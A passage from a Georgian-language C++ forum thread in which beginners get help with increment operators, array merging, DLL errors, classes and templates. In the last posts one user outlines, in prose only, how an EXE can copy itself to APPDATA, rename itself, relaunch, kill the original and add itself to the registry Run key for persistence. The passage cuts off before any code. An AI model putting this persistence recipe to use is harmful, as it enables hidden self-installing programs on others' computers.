მაგალითად:
a = 1
b = 2

a = b++
ამ შემთხვევაში ჯერ a-ს ემატება b, და შემდეგ b-ს ემატება ერთი, საბოლოოდ იქნება
a = 3 და b = 3

აქ რომ ++b ყოფილიყო, ჯერ b-ს მიემატებოდა ერთი, ხოლო შემდეგ a-ს მიემატებოდა ეს გაზრდილი მნიშვნელობა, ანუ თU ავიღებთ რომ
a = 1
b = 2

a = ++b
ჯერ b ხდება 3, და შემდეგ a-ს ემატება ეს 3, საბოლოოდ a = 4, b = 3

QUOTE

4 while (a <= b) {
5 sumOdds += a++;
6 sumEvens += a++;
}


სანამ a არ არის b-ზე მეტი ( 4 ხაზი ),
5 ხაზზე, sumOdds-ს ემატება a, და a-ს ამის შემდეგ ეგრევე ემატება ერთი,
მეექვსე ხაზზეც იგივე, ოღონდ ახლა ლუწებს უმატებს.



რადგანაც კოდი ზემოთ ( 1,2,3 ) ხაზზე უკვე ამოწმებს რიცხვი არის თუ არა ლუწი, და თუ ლუწია მას 1-ს უმატებს, 5-ხაზზე რიცხვი ყველანაირად კენტი იქნება, შესაბამისად კენტებს მიუმატებს მნიშვნელობას და a-ს მნიშვნელობას გაზრდის 1-ით ( ანუ a გახდება ლუწი, რადგანაც კენტი იყო და მიემატა 1 ). შესაბამისად 6 ხაზზე ა ლუწია.

Posted by: Metal_Head 6 Jun 2017, 16:40
sergo_bero
ჯიგარ , კარგად და გარკვევით ახსენი ;

თუმცა ზემოთ ხსენებულ კოდში ერთმა რაც დამაბნია და თავგზა ამიბნია იყო

QUOTE
4 while (a <= b) {
5 sumOdds += a++;
6 sumEvens += a++;
}

ანუ როგორც შენ დაწერე sumodds ემატება a-ო და მერე ემატება ერთიო , მე მეგონა პირდაპირ ემატებოდა 1 biggrin.gif

დანარჩენი ვიცოდი.

QUOTE
აქ რომ ++b ყოფილიყო, ჯერ b-ს მიემატებოდა ერთი, ხოლო შემდეგ a-ს მიემატებოდა ეს გაზრდილი მნიშვნელობა, ანუ თU ავიღებთ რომ
a = 1
b = 2

a = ++b
ჯერ b ხდება 3, და შემდეგ a-ს ემატება ეს 3, საბოლოოდ a = 4, b = 3

ეს არ ვიცოდი და ჯერ არც შემხედრია .
up.gif


რამე კარგი საიტი არ იცით სი პლიუ პლიუსის ამოცანები რომ იყოს , ამონახსნებიც თუ იქნება მთლად უკეთესი , რთულები და სააზროვნოც კარგი იქნებოდა ტვინს გავივარჯიშებდი.


Posted by: Irakli2013 6 Jun 2017, 23:22
Metal_Head
QUOTE
რამე კარგი საიტი არ იცით სი პლიუ პლიუსის ამოცანები რომ იყოს , ამონახსნებიც თუ იქნება მთლად უკეთესი , რთულები და სააზროვნოც კარგი იქნებოდა ტვინს გავივარჯიშებდი.

ამოცანები:
http://codeforces.com/problemset?order=BY_SOLVED_DESC

ამოხსნები (ლინკში ამოცანის ნომერს ჩაწერ):
http://codeforces.com/problemset/status/1/problem/A

Posted by: syaruna 7 Jun 2017, 00:41
#include<iostream>
using namespace std;

void main()
{
long long a, temp, count = 1, pow = 1;
cin >> a;
temp = a;
while (temp =temp/ 10)
count++;
temp = a;
a = 0;
for (int i = 0; count ; i++)
{
count--;
for (int J = 0; J < count; J++)
{
pow=pow* 10;
}
a =a+ (temp % 10)*pow;
temp =temp/ 10;
pow = 1;
}
cout << a << endl;
}




ეს კოდი გამარჩევინეთ რა

Posted by: gio_rgi 9 Jul 2017, 23:23
QUOTE (syaruna @ 7 Jun 2017, 00:41 )
#include<iostream>
using namespace std;

void main()
{
long long a, temp, count = 1, pow = 1;
cin >> a;
temp = a;
while (temp =temp/ 10)
  count++;
temp = a;
a = 0;
for (int i = 0; count ; i++)
{
  count--;
  for (int J = 0; J < count; J++)
  {
  pow=pow* 10;
  }
  a =a+ (temp % 10)*pow;
  temp =temp/ 10;
  pow = 1;
}
cout << a << endl;
}




ეს კოდი გამარჩევინეთ რა

ისე ჯობია რაიმე კონკრეტული ამოცანის გადაჭრას ემსახურებოდეს პროგრამული კოდი. კარგი იქნება თუნდაც მარტივი მათემატიკური ამოცანა აიღო და შეცადო მის პროგრამულ ალგორითმად გარდაქმნას ასე უფრო გამოიმუშავებ პროგრამირებისთვის საჭირო უნარებს.რაც შეხება ამ კოდს გაუგებარია რა ფუნქციას ასრულებს. ეს კოდი ძირითადად ციკლებით მუშაობს და ლბათ ციკლების გარჩევა გაინტერესებს?

Posted by: irakli8 10 Jul 2017, 00:12
syaruna
თუ პირველი ენაა ეს შენთვის, დაანებე თავი ც++ს ჯობია. აიღე მაგალითად ჯავა და სტენფორდის წიგნი/კურსი და იქიდან დაიწყე, თუ პროგრამირების სწავლა გინდა. სხვა ვარიანტი codeacademy ვიცი, თუმცა იქ ვებით ისწავლი.

Posted by: syaruna 10 Jul 2017, 20:52
ისე აქ სანამ პასუხს მიიღებ ,ათითავით გაზრდილი ხარ ცოდნის მხრივ biggrin.gif

Posted by: AIX-500 11 Jul 2017, 03:56
irakli8
QUOTE
syaruna
თუ პირველი ენაა ეს შენთვის, დაანებე თავი ც++ს ჯობია. აიღე მაგალითად ჯავა და სტენფორდის წიგნი/კურსი და იქიდან დაიწყე, თუ პროგრამირების სწავლა გინდა. სხვა ვარიანტი codeacademy ვიცი, თუმცა იქ ვებით ისწავლი.

ძაან მაგარი ქართული რჩევა მიეცი. smile.gif

მოკლედ რომ ვთქვათ კარგი ც++ პროგრამისტი ხელფასი მინიმუკ ორჯერ მეტია ვიდრე ჯავასი.

Posted by: syaruna 11 Jul 2017, 08:42
#include<iostream>
#include<ctime>
using namespace std;
void selectionSort1(int arr[], int size)
{
int x, k, temp;
for (size_t i = 0; i < size; i++)
{
x = arr[i];
k = i;
for (size_t j = i + 1; j < size; j++)
if (arr[j] < x)
{
k = j;
x = arr[j];
}
arr[k] = arr[i];
arr[i] = x;
}
}
void selectionSort2(int arr[], int size)
{
int x, k, temp;
for (size_t i = 0; i < size; i++)
{
k = i;
x = arr[i];
for (size_t j = i + 1; j < size; j++)
if (arr[j] < x)
{
k = j;
x = arr[j];
}
arr[k] = arr[i];
arr[i] = x;
}
}
void print(int arr[],int size)
{
for (size_t i = 0; i <size; i++)
{
cout << arr[i] << " ";
}
cout << endl;
}
void dual_mass(int arr1[], int arr2[], int arr3[], int size1, int size2,int size3)
{
for (size_t i = 0, j = 0, k = 0; k < size3;k++)
{
if (i < size1&&arr1[i] <= arr2[j])
{
arr3[k] = arr1[i];
i++;
}
else if (j <size2&&arr1[i] >= arr2[j]){
arr3[k] = arr2[j];
j++;
}
}

}
void main()
{
srand(time(0));
const int size1 = 5;
const int size2 = 10;
const int size3 = 15;
int arr1[size1];
int arr2[size2];
int arr3[size3];
for (size_t i = 0; i <size1; i++)
{
arr1[i] = rand() % 10;
}
cout << endl;
for (size_t i = 0; i <size2; i++)
{
arr2[i] = rand() % 10;
}
cout << endl;
cout << "Sortirebamde:";
print(arr1, size1);
selectionSort1(arr1, size1);
cout << "Sortirebis Semdeg:";
print(arr1, size1);
cout << "Sortirebamde:";
print(arr2, size2);
selectionSort2(arr2, size2);
cout << "Sortirebis Shemdeg:";
print(arr2,size2);



dual_mass(arr1,arr2,arr3,size1,size2,size3);
cout << "Ori masivis GaerTianebuli sortireba ";
print(arr3, size3);

}
AIX-500
შეგიძლია დამეხმარო>?
ბოლო მასივსის ელემენტს ცარიელს ტოვებს უდიდესი არ შეჰყავს მესამე მასივში.
ანუ კოდი ასეთია არის 5 ელემენტიანი და 10 ელემენტიანი მასივები რომლებშიც შედის შემთხვევითი რიცხვები შემდეგ სორტირდებიან და 15 ელემენტიან მასივში ისე უნდა გადავიდნენ რომ სორტირება არ დაჭირდეს ამავდროულად დალაგებულნი უნდა იყვნენ ყველა რიცხვი ელემენტში..

Posted by: AIX-500 11 Jul 2017, 09:35
syaruna
თუ მოვიცლი საღამოსკენ ვნახავ

Posted by: Shredinger 11 Jul 2017, 09:50
არ ვფიქრობ, რომ დამწყებისთვის C++ უფრო რთულია ვიდრე ჯავა smile.gif
პირიქით არის. C++ ბევრად ადვილია ჯავასთან შედარებით. და პლიუს მაგას C++ C - ზეც ადვილია smile.gif

Posted by: irakli8 11 Jul 2017, 12:56
AIX-500
ხელფასამდე ხომ უნდა მიაღწიო? ან რა შუაშია ჯავა და ცპპ პროგრამისტი, ცპპ-ს რო აიღებს პირველ ენად, მარტო მაგას ისწავლის და ეგრე იშოვის სამსახურს?

მეც ვიყავი მსგავს პოზიციაში, ცპპ-ს ვეჩალიჩებოდი პირველ ენად, 2-3-ჯერ შევეშვი და მოგვიანებით ახლიდან დავიწყე ისევ სწავლა, მაგრამ მაინც არაფერი გამომდიოდა. თავიდან კარგად ვიგებდი ყველაფერს, მერე უკვე რო იხლართება მიჭირდა და თავს ვანებებდი. ცპპ-ს წიგნები რაცაა უმეტესობა გასწავლის მხოლოდ ენის გამოყენებას და მეტს არაფერს, ეგეთი წიგნები კი იმისთვისაა ვინც პროგრამირება იცის და უბრალოდ ახალი ენის სწავლა სჭირდება. ეილერის ამოცანები და მსგავსები როა ბლომად არც ის გამოგადგება, მაგეებსაც ვაკეთებდი. დებაგერის გამოყენება როგორ უნდა ისიც კი არაა ახსნილი სადმე წიგნში (მე რაც მინახავს, ჩვეულებრივ სახელმძღვანელოებში), არც მონაცემთა სტრუქტურებზეა საუბარი სადმე. თავიდან რომ სწავლობ, სრულიად ზედმეტია რომ ეგრევე ფოინთერებს, მახსოვრობის კონტროლს და ზოგჯერ უცნაურ სინტაქსს შეეჭიდო.

სტენფორდის წიგნი იმიტო ვურჩიე რო იმათ ეგ ყველაფერი გაკეთებული აქვთ, ჯავას წიგნიც აქვთ და მაგისი შემდეგი კურსი ცპპ არის, მაგისი წიგნიც აქვთ და ორივე წიგნში მხოლოდ ენაზე საუბარი არ არის, მშვენიერი სავარჯიშოები და პროექტებიც აქვთ. თუ გინდა დეტალურადაც გეტყვით რა წერია მაგ წიგნებში.
codeacademy იმიტომ ვახსენე, რომ მანდ დავალებად გხვდება რეალური ორგანიზაციებისთვის პროექტებზე ჯგუფებში მუშაობა, ასე პორტფოლიოსაც ამდიდრებ და თუ კარგი შედეგები გქონდა აქეთ მოდიან კომპანიები დასაქმების შეთავაზებით.
* * *
syaruna
ერთ-ერთი მასივი რომ გაგითავდება მეორე მასივი პირდაპირ უნდა ჩაყარო. ერთმა იმიტომ მოასწრო მეორეს, რომ პირველში უფრო პატარები იყო, ბოლო ელემენტის ჩათვლით. პირველი რომ გაგითავდა შენ იღებ მაგის ბოლო ელემენტს, რომელიც მეორე მასივში დარჩენილ ყველა ელემენტზე მცირეა, გიწერია შედარება რო ეს ბოლო ელემენტი თუა მეტი მეორე მასივის რაღაც ელემენტზე, მაშინ მეორე მასივიდან ჩააგდეო, რაც აღარ შესრულდება. რამდენჯერმე გაუშვი კოდი, მარტო ორს არ დატოვებს შეუვსებელს.

Posted by: ბიჭური 11 Jul 2017, 14:26
CODE
C++

CODE
ადვილია


givi.gif

კაი რას ამბობ, აშკარად ზედმეტი მოგივიდა. ერთ-ერთი ყველაზე რთული ენაა როცა საქმე მიდის STL/Boost გამოყენებაზე ყველგან და სერიოზულ პროგრამირებაზე.
რაც irakli8-მ დაწერა ვეთანხმები.

საქმე მხოლოდ სირთულეშიც არ არის, flow აქვს განსხვავებული. 90% შემთხვევებში როგორ ხდება იცით? ტიპები იწყებენ С++ სწავლას, საბაზო მათემატიკის მაგალითებს დაწერენ მაქსიმუმ, ერთ ადგილზე ბუქსაობენ რამდენიმე თვე რაღაც ###ობა ამოცანების ამოხსნაში რაც რეალურად არაფერს არ აძლევს, სერიოზულ პროგრამებს ვერ წერენ და მერე თავს ანებებენ С++ სწავლას ან საერთოდ პროგრამირებას biggrin.gif

სტიმულის მიმცემი არ არის დამწყებისთვის. სტიმული ერთ-ერთი მთავარი მამოძრავებელი ფაქტორია სწავლის პროცესში.
იგივე Java/C# 2-3 თვეში უკვე გაძლევს საშუალებას რომ რამე ნორმალური მუშა პროგრამა დაწერო 0-დან.
ამიტომ ჩემი აზრით დამწყები პროგრამისტისთვის С++ სწავლა არ არის რეკომენდირებული, ძალიან ცუდი ენაა მაგისთვის.

CODE
C++ უფრო ადივლია ვიდრე С


C++ over C მაქსიმუმ გეიმდევში გამოიყენებოდეს ხშირად smile.gif
სხვა შემთხვევაში С სრულიად საკმარისი და უკეთესი ვარიანტია ბევრის აზრით

როცა low level პროგრამირებას ეხება, C > C++
ჰაი ლეველში C#/Java > C++ უმეტეს შემთხვევაში


რა თქმა უნდა სერიოზული პროგრამები С++-ზე არის დაწერილი წვერიანი ბიძიების მიერ, მაგრამ ეგ ყოველდღიურობა და საშუალოსტატისტიკური შემთხვევები არ არის.
ღრუზიაში სერიოზულ პროგრამებს არ წერენ, შესაბამისად С++ не нужен

ვებ-მაკაკობაში რა საჭიროა gigi.gif

Posted by: Metal_Head 11 Jul 2017, 14:53
ვაჰ ამოიწია ეს თემა როგორც იქნა :_)

ბიჭური
ც# .ნეტ როგორ ვისწავლო ? წიგნი ან ვიდეო მასალა ? მაგალითად ამისგან რამეს ვისწავლი https://mva.microsoft.com/en-US/training-courses/c-fundamentals-for-absolute-beginners-16169?l=Y6D7PQQIC_5406218949 ?

Posted by: syaruna 11 Jul 2017, 15:24
irakli8
მაგას კი მივხვდი
მაგრამ ეგ პრობლემა როგორ უნდა გადავჭრა მაგას ვერ ვაკეთებ

Posted by: irakli8 11 Jul 2017, 20:29
syaruna
CODE

for(int i = 0, j = 0, k = 0; i < size3; i++){
 if(arr1[j] <= arr2[k] && j < size1)
  arr3[i] = arr1[j++];
 else if(k < size2)
  arr3[i] = arr2[k++];
}

Posted by: syaruna 11 Jul 2017, 20:38
irakli8
მადლობა გაიხარე აუ რა ადვილია ხოლმე ხანდახან და როგორ ჩამეკეტება ტვინი sad.gif
პს: მაგრამ მაინც ასხავს ხოლმე შიგადაშიგ gigi.gif


და ერთი კითხვა მაქვს კიდევ საიდან მოიტანე რო ცპპ-ს ვსწავლობ?
ც-ს პროცედურულ პროგრამირებას ვსწავლობ ჯერ

Posted by: Shredinger 11 Jul 2017, 22:21
ბიჭური
ზემოთ პროგრამირების დასაწყებად როგორც გავიგე რჩევა იყო და რჩევას გამოვეხმაურე, დასაწყისში ჯავათი დაწყება არის ძაან მარაზმი. ძალიან ბევრი ტერმინებია ისეთი რასაც დამწყები ვაფშე ვერ გაიგებს. class,public,private,protected,namespace და ა.შ აი ძაან ტვირთავს დამწყებს.

C++ ში შედარებით მარტივადაა დასაწყისში.

და საერთოდაც ვფიქრობ რომ C++ ჯავაზე ბევრად მარტივია მომკალით და ეგრე ვფიქრობ. შეიძლება მე მეჩვენება ეგრე.
პ.ს ჯავაზე 1 თვე ვიყავი გაჩერებული მხოლოდ :დ მეტი ვეღარ გავუძელი ძალიან,ძალიან მახინჯი სინტაქსი აქ.

საერთოდაც ეს ცოტა რთული საკითხია გააჩნია და საკამათო როგორ შეხედავ. ზოგჯერ C++ ში მარტივად იწერება, C ში კიდე უნდა იწვალო ბევრი და იხლაფორთო რაღაცეებში...

საბოლოო ჯამში რაც ნაღდად შემიძლია ვთქვა არის ის, რომ ჯავა თი დაწყება არის სრული მარაზმი smile.gif
და ვფიქრობ რომ ყველა პროგრამისტმა C თი უნდა დაიწყოს.

Posted by: Dixtosa 11 Jul 2017, 22:32
Shredinger
QUOTE
class,public,private,protected,namespace

ცპპშიც არის პირველი ოთხი. მეხუთე ჯავაშიც არაა.
ისე C++03 რამდენად მარტივია ალბათ საკამათოა მარა ბოლო C++ რო ერთერთი ყველაზე რთული ენაა წესით უნდა ხვდებოდე. ბოლო ვერსიებში იმდენი რამე დაამატეს რომ ფოინთერები ყველაზე მარტივი თემა გახდა biggrin.gif

Posted by: irakli8 11 Jul 2017, 22:53
syaruna
ცპპს თემაში წერ და iostream, cout იყენებ რაც ც-ს არ აქვს და მეტი რაუნდა მეფიქრა?
Shredinger
გააჩნია სახელმძღვანელოს, მაგიტომ ვთქვი სტენფორდის სახელმძღვანელო, ჯერ თავიდან გეუბნებიან ეგ სიტყვები ვაფშე დაიკიდე და პროსტა წერე რასაც გეუბნებითო და ცოტა აზრზე რო მოგიყვანს მერე გიხსნის ყველაფერს. მე პირიქით მგონია, რომ ჯავა უფრო კონსტრუქციული და უფრო consistent საწერია. და საერთოდ ცპპ მგონი ყველაზე დიდი ენაა და მაგის ყველაფრის სწავლას უგზო-უკვლოდ, ჯობია უკეთესი გზა მოძებნო პროგრამირების სასწავლად.

Posted by: syaruna 11 Jul 2017, 23:02
irakli8
აკადემიაში ვსწავლობ და იქდან ვიცი რო ც-ს ვსწავლობ და რავი კონსპექტებსაც ც-ი აწერია და ჩვეულებრივ ფსევდო კოდებში იოსტრიმები და სიაუტებია რავიცი რავიცი ხო არ მატყურებენ რამეს>? biggrin.gif

Posted by: irakli8 12 Jul 2017, 00:22
syaruna
ცპპს ელემენტებს იყენებთ აშკარად, ალბათ სიმარტივისთვის, printf-თან შედარებით ეკრანზე ინფოს გამოსატანად cout/cin უფრო ადვილია.

ჰოდა რადგან აკადემიაში სწავლობ, არ მქონია ხმა ამოსაღები smile.gif

Posted by: syaruna 12 Jul 2017, 07:09
irakli8
დიდი არაფერია რასაც იქ ვსწავლობ სახლშიც შემეძლო რო მესწავლა მაგრამ
უფრო გვიან.

Posted by: Micho 6 Aug 2017, 10:42
ახალი საიტია C++-ის შესწავლა ვისაც გინდათ, მაგალითებით. კომპილატორის მსგავსი

http://coderney.com/

Posted by: Irakli2013 19 Aug 2017, 15:59
Snake-ის დაწერას ვცდილობ cpp-ზე

როცა Code::Blocks-ში ვრთავ ირთვება და როცა exe ფაილის ჩართვას ვცდილობ ამას მიწერს:

user posted image

Posted by: gio_rgi 19 Aug 2017, 19:50
ეგ სავრუდოთ იმის ბრალია რომ როცა code::block დებაგერით უშვებ პროგრამას მაშინ იმუშავებს რადგან დებაგერი და libgcc_s_dw2-1.dll ერთი და იგივე დირექტორიაში არიან ხოლო როცა ჩვეულებრივ cmd-თი უშვებ არ იმოშავებს.
იმისათვის რომ იმუშაოს ეგ dll ფაილი უნდა დაკოპირო windows/system32 დირექტორიაში ან თავად ის საქაღალდე სადაც ეგ dll მდებარეობს უნდა აქციო გლობალურ დირექტორიად იმისათვის რომ ოპერაციული სისტემის ყველა ადგილიდან დანახვადი იყოს. ან უშუალოდ იმავე დირექტორიაში დაკოპირე ეგ dll-ი რომელშიც შენი პროგრამა მდებარეობს

Posted by: Irakli2013 19 Aug 2017, 23:00
QUOTE (gio_rgi @ 19 Aug 2017, 19:50 )
ეგ სავრუდოთ იმის ბრალია რომ როცა code::block დებაგერით უშვებ პროგრამას მაშინ იმუშავებს რადგან დებაგერი და libgcc_s_dw2-1.dll ერთი და იგივე დირექტორიაში არიან ხოლო როცა ჩვეულებრივ cmd-თი უშვებ არ იმოშავებს.
იმისათვის რომ იმუშაოს ეგ dll ფაილი უნდა დაკოპირო windows/system32 დირექტორიაში ან თავად ის საქაღალდე სადაც ეგ dll მდებარეობს უნდა აქციო გლობალურ დირექტორიად იმისათვის რომ ოპერაციული სისტემის ყველა ადგილიდან დანახვადი იყოს. ან უშუალოდ იმავე დირექტორიაში დაკოპირე ეგ dll-ი რომელშიც შენი პროგრამა მდებარეობს

მადლობა.
კომპილატორის საქაღალდედან დავაკოპირე ის დლლ ფაილი, cpp-სთან ჩავაგდე და ეშველა

Posted by: Irakli2013 10 Sep 2017, 11:48
https://www.amazon.com/gp/aw/d/0321776402/ref=mp_s_a_1_2?ie=UTF8&qid=1505029549&sr=8-2&pi=AC_SX236_SY340_QL65&keywords=c+primer+plus&dpPl=1&dpID=51NmU5FcuhL&ref=plSrch

კარგი წიგნია დამწყებთათვის?

Posted by: syaruna 5 Oct 2017, 23:09
int a = 10;
int b=0;
short *bl = (short*)&b;
*(bl+1) = a;
cout << b << endl;
for (int i = 1; i >=0; i--)
{
bitset<16>y(*(bl + i));
cout << y << " ";
}
cout << endl;



მინდა რომ მეოთხე ბაიტს მივწვდე როგორ გავაკეთო? ბულით ვაკეთებ და მარტო 1 იანს მიწერს მინდა რომ 10-ი მეოთხე ბაიტში ჩავწერო.
შორტით ვაკეთებ ოგონდ 1 ბაიტს ვმაზავ ანუ 1-თს ახტება რადგან შორტი 2 ბაიტიანი.

Posted by: irakli8 11 Oct 2017, 23:48
syaruna
ქარად დაკასტე და 3 მიამატე

Posted by: Bitcoin9000 22 Oct 2017, 15:47
ხელმეორედ რო გაუშვას პროგრამა რა კომანდი უნდა დავწერო?

Posted by: lukaqevxooo 26 Oct 2017, 17:49
ც++ ისთვის რომელ წიგნს მირჩევთ ?

Posted by: ბიჭური 26 Oct 2017, 18:26
QUOTE (lukaqevxooo @ 26 Oct 2017, 17:49 )
ც++ ისთვის რომელ წიგნს მირჩევთ ?

http://ptgmedia.pearsoncmg.com/images/9780321714114/samplepages/0321714113.pdf

Posted by: აბიტურიენტი 26 Oct 2017, 18:51
გამარჯობა, კითხვა მაქვს მეც user.gif
სტენფორდის სტანდარტულ ბიბლიოთეკებს https://stanford.edu/~stepp/cppdoc/ ვერ ვუხერხებ ვერაფერს. Code::Blocks-ში როგორ უნდა გამოვიყენო ეს ფაილები? ზოგადად ინტერფეისებს თავისი სორს ფაილებით ვამატებ პროექტის ფოლდერში და მუშაობს. მაგრამ ესენი არაფრით არ იბილდება sad.gif სულ რაღაც ერორს მიგდებს. როგორც ჩანს მარტო ჰედერები და სორსის ფაილებია მაგრამ მაინც არ მუშაობს. აკლია რამე თუ მე ვერ ვაკეთებ?

Posted by: gio_rgi 26 Oct 2017, 19:23
QUOTE (აბიტურიენტი @ 26 Oct 2017, 18:51 )
გამარჯობა, კითხვა მაქვს მეც user.gif
სტენფორდის სტანდარტულ ბიბლიოთეკებს https://stanford.edu/~stepp/cppdoc/ ვერ ვუხერხებ ვერაფერს. Code::Blocks-ში როგორ უნდა გამოვიყენო ეს ფაილები? ზოგადად ინტერფეისებს თავისი სორს ფაილებით ვამატებ პროექტის ფოლდერში და მუშაობს. მაგრამ ესენი არაფრით არ იბილდება sad.gif სულ რაღაც ერორს მიგდებს. როგორც ჩანს მარტო ჰედერები და სორსის ფაილებია მაგრამ მაინც არ მუშაობს. აკლია რამე თუ მე ვერ ვაკეთებ?

ეგ ბიბლოთეკა სავარაუდოდ დაწერილია C++17 ვერსის კოდზე შენს Code::Blocks არ აქვს ამ ვერსის მხარდაჭერა და ამიტომაც გამოაქვს ერორეი კოპილაცის დროს

Posted by: irakli8 26 Oct 2017, 22:40
აბიტურიენტი
visual c++ 2008-ზე მუშაობს ეგ ბიბლიოთეკები, ახლებზეც აუმუშავებიათ მარა წვალებით, მარა საკმარისია 2008-იანი.

Posted by: RedShark 5 Nov 2017, 19:55
user posted image

user posted image

მაგალითი შილდტის წიგნიდან არის. ეგ შვიდიანი საიდან გააძრო ვერ მეტყვით?

Posted by: gio_rgi 5 Nov 2017, 20:33
წესით კონსოლზე ასეთნაირად
უნდა გამოეტანა:
cvald i - s tipi: int
cvald f - is tipi: float
cvald ob - is tipi: class myclass
ალბათ ჰეადერ ფაილში არა არის ისე ყველაფერი როგორც უნდა იყოს name() მეთოდი არ მიშაობს ისე როგორც უნდა მუშაობდეს.
თუმცა სხვა მხრივ ყველაფერი კორექტულად მუშაობს if-ით შედარების დროსაც ჩანს

Posted by: RedShark 6 Nov 2017, 01:37
QUOTE (gio_rgi @ 5 Nov 2017, 20:33 )
წესით  კონსოლზე ასეთნაირად
უნდა გამოეტანა:
cvald i - s tipi: int
cvald f - is tipi: float
cvald ob - is tipi: class myclass
ალბათ ჰეადერ ფაილში არა არის ისე ყველაფერი როგორც უნდა იყოს name() მეთოდი არ მიშაობს ისე როგორც უნდა მუშაობდეს.
თუმცა სხვა მხრივ ყველაფერი კორექტულად მუშაობს  if-ით შედარების დროსაც ჩანს

გადავხდე და GCC კომპილატორზე ბევრი უჩივის იგივეს... სავარაუდოდ ეგაა... მაგ ფაილის ბაგია smile.gif

Posted by: benefit123 6 Nov 2017, 19:16
დამეხმარეთ რაც შეიძლება მარტივი კოდი მინდა. პროგრამამ უნდა გამოთვალოს მართკუთხედის ფართობი და პერიმტრი. ოღონდ კლასებით მინდა რო დავწერო პროგრამა

Posted by: RedShark 6 Nov 2017, 20:22
benefit123

CODE
#include <iostream>
using namespace std;

class rectangle {
    double length, height, sum;

public:
    rectangle() {
        length = height = sum = 0.0;
    }

    void set_rect(double x, double y) {
        length = x;
        height = y;
    }

    double perimeter();

    double area();

};

double rectangle::perimeter() {
    sum = 2 * (length + height);
    return sum;
}

double rectangle::area() {
    sum = length * height;
    return sum;
}

int main() {
    rectangle rect;

    rect.set_rect(2.0, 5.0);
    cout << "Martkutxedis Perimetri Udris: " << rect.perimeter() << endl;
    cout << "Martkutxedis Fartobi Udris: " << rect.area() << endl;


    return 0;
}

Posted by: sergo_bero 6 Nov 2017, 20:44
RedShark
QUOTE
void set_rect(double x, double y) {

სჯობს ცვლადები კონსტრუქტორში გადაეცემოდეს

QUOTE
sum

რა საჭიროა საერთოდ? spy.gif

Posted by: RedShark 6 Nov 2017, 20:53
sergo_bero
QUOTE

QUOTE
sum

რა საჭიროა საერთოდ?

მგონია რომ დამწყებისთვის ასე უფრო უკეთესად წაკითხვადია ვიდრე პირდაპირ დაბრუნებით(?)...

Posted by: benefit123 6 Nov 2017, 21:57
RedShark
sergo_bero


დიდი მადლობა

Posted by: ibaka 6 Nov 2017, 21:59
temis shqmna minda da xom ar icit rogor shevqmna axali tema

Posted by: benefit123 6 Nov 2017, 22:27
RedShark
ისე ვერ ვიზავთ რო რიცხვების შეტანა მე შემეძლოს?

Posted by: syaruna 6 Nov 2017, 22:32
benefit123


int main() {

rectangle rect;
float a,b;
cin>>a>>b;
rect.set_rect(a, b);
cout << "Martkutxedis Perimetri Udris: " << rect.perimeter() << endl;
cout << "Martkutxedis Fartobi Udris: " << rect.area() << endl;


return 0;
}

Posted by: benefit123 6 Nov 2017, 22:36
syaruna
მადლობა..............................

Posted by: RedShark 12 Nov 2017, 13:09
CODE
#include <iostream>
#include <typeinfo>
using namespace std;

template <class T> class figure {
protected:
   T x, y;

public:
   figure(T i, T j) {
       x = i;
       y = j;
   }

   virtual T area() = 0;
};

template <class T> class triangle : public figure<T> {
public:
   triangle(T i, T j) : figure<T>(i, j) {}

   T area() {
       return x * 0.5 * y;
   }
};

template <class T> class rectangle : public figure<T> {
public:
   rectangle(T i, T j) : figure<T>(i, j) {}

   T area() {
       return x * y;
   }
};

template <class T> class circle : public figure<T> {
public:
   circle(T i, T j = 0) : figure<T>(i, j) {}

   T area() {
       return 3.14 * x * x;
   }
};

// კლას figure - დან გენერირებული ობიექტების ფაბრიკა

figure<double> *generator() {
   switch(rand() % 3) {
   case 0:
       return new circle<double>(10.0);
   case 1:
       return new triangle<double>(10.1, 5.3);
   case 2:
       return new rectangle<double>(4.3, 5.7);
   }
   return 0;
}

int main() {
   figure<double> *p;
   int t = 0, c = 0, r = 0;

   // ვაგენერირებთ და ვითვლით ობიექტებს
   for(int i = 0; i < 10; i++) {
       p = generator();
       cout << "obiekts gaachnia tipi " << typeid(*p).name();
       cout << ". ";


       if(typeid(*p) == typeid(triangle<double>)) t++;
       if(typeid(*p) == typeid(rectangle<double>)) r++;
       if(typeid(*p) == typeid(circle<double>)) c++;

       cout << "fartobi udris " << p->area() << endl;
   }

   cout << endl;
   cout << "generirda aseti obiektebi:\n";
   cout << "  samkutxedebi: " << t << endl;
   cout << "  martkutxedebi: " << r << endl;
   cout << "  creebi: " << c << endl;

   return 0;
}


კომპილატორი შაბლონურ მემკვიდრე კლასებში ცვლადებს ვერ ხედავს - WTF? spy.gif

user posted image

Posted by: gio_rgi 12 Nov 2017, 13:51
მაშინ უნდა დანახო ასეთნაირად:
CODE

    T area()
   {
          return this->x  *  0.5  *  this->y
   }

Posted by: RedShark 12 Nov 2017, 14:06
QUOTE (gio_rgi @ 12 Nov 2017, 13:51 )
მაშინ უნდა დანახო ასეთნაირად:
CODE

    T area()
   {
          return this->x  *  0.5  *  this->y
   }

კი ასე დაინახა. მადლობა.

და პრობლემა რაშია, სხვადასხვა კომპილატორებზე სხვადასხვანაირად ხედავს?

Posted by: gio_rgi 12 Nov 2017, 14:26
რა თქმა უნდა სხვადასხვა კომპილატორს სხვადასხვა სტანდარტი აქვს მაგალითად Visual studio-ზე მუშაობს ეგ კოდი მასეთი სახით.
შეიძლება მანდაც უპრებლომოდ იმუშაოს მასეთნაირი სახით ალბათ რაიმე ოპციების დაყენება უნდა კომპილაცის დროს

Posted by: mardukgeorgia 19 Dec 2017, 16:12
მეგობრებო მინდა რო ჩემი EXE რომელიც იქნება დაკომპილირებული გაშვების შემთხვევაში ჩაჯდეს ან კოპირებაა გააკეთოს თავისი თავის სადმე სხვაგან მაგალითად C დისკზე ან სადმე სხვაგან ეს როგორ გავაკეთო?

Posted by: ბიჭური 19 Dec 2017, 16:27
mardukgeorgia

მაქვს დაწერილი მსგავსი სათამაშო. აჰა შენ.

აზრი შემდეგშია :

1) პირველ გაშვებაზე პროგრამა საკუთარ თავს გადაისვრის APPDATA ფოლდერში.
2) გადაირქმევს სახელს
3) შექმნის ახალ პროცესს ახალი სახელით და მისამართით
4) მოიკლავს საკუთარ თავს
5) გაეშვება მეორე პროცესი
6) ჩაიწერს საკუთარ თავს რეესტრის Run-ში და გაეშვება სისტემის ყველა ჩატვირთვაზე


როგორ ადგენს პროგრამა პირველ/მეორე გაშვებას?
პირველ გაშვებაზე პროგრამა ეშვება default command line არგუმენტებით.
ე.ი

